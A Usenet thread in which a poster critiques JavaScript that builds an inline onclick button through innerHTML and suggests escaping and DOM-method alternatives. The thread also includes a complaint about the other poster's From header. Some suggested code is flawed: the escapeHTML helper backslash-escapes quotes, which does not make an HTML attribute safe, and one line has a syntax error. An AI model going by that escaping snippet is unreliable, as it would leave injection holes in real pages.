2016-12-12 20:51:29 UTC
Permalink
Post by Thomas 'PointedEars' Lahn
^^^^^^^^^^^^^^^^^
The From header field of your postings so far is disregarding Netiquette.
Internet is the thing with cables; Usenet is the thing with *people*.
Also, the address part of the From header field of your postings so far
is violating RFC 5536, § 3.1.2 [1] and disregarding RFC 2606, § 2 [2].
Otherwise it would have been possible to notify you of your first mistake
via e-mail [3].
Scorefile adjusted accordingly.
_______
[1] <https://tools.ietf.org/html/rfc5536#section-3.1.2>
[2] <https://tools.ietf.org/html/rfc2606#section-2>
[3] <http://www.interhack.net/pubs/munging-harmful/>
Post by justaguy
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick =
'newFN(\""+fn+" + \", \"+num+\");'>";
The "field name" does not belong in the attribute value, and in a *single*-
quoted string literal *double*-quotes do _not_ need to be escaped (and vice-
versa). Because “num” and “fn” are global, they can be used as-is.
However, the expanded value of “fn” needs to escaped to avoid code
s.innerHTML = "&nbsp;"
+ fn.replace(/&/g, "&amp;").replace(/</g, "&lt;")
+ " <input type='button' value='x' onclick='newFN(fn, num);'>";
But if one insists that the expansions be in the attribute value, they must
String.prototype.escapeHTML = function () {
return this
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/"/g, "\\$&");
};
fn = fn.escapeHTML();
num = num.escapeHTML();
This is another reason why it is a bad idea to access the “innerHTML”
/* standards-compliant */
while (s.lastChild) s.removeChild(s.lastChild);
/* proprietary */
s.innerHTML = "";
/* all */
s.appendChild(document.createTextNode("\u00a0 " + fn + " ");
var input = document.createElement("input");
/* ECMAScript 2016 */
Object.assign(input, {
type: "button",
value: "x",
onclick: function () { newFN(fn, num); }
});
/* other */
input.type = "button";
input.value = "x";
input.onclick = function () { newFN(fn, num); };
/* all */
s.appendChild(input);
Let me try the existing coding first, the following code generated an error of var fn not defined. Fyi, the fn content is simple text, ie, "a new field name".

s.innerHTML = "&nbsp;"
+ fn +
" <input type='button' value='x' onclick = 'newFN(fn,num);'>";

Thanks.
Loading...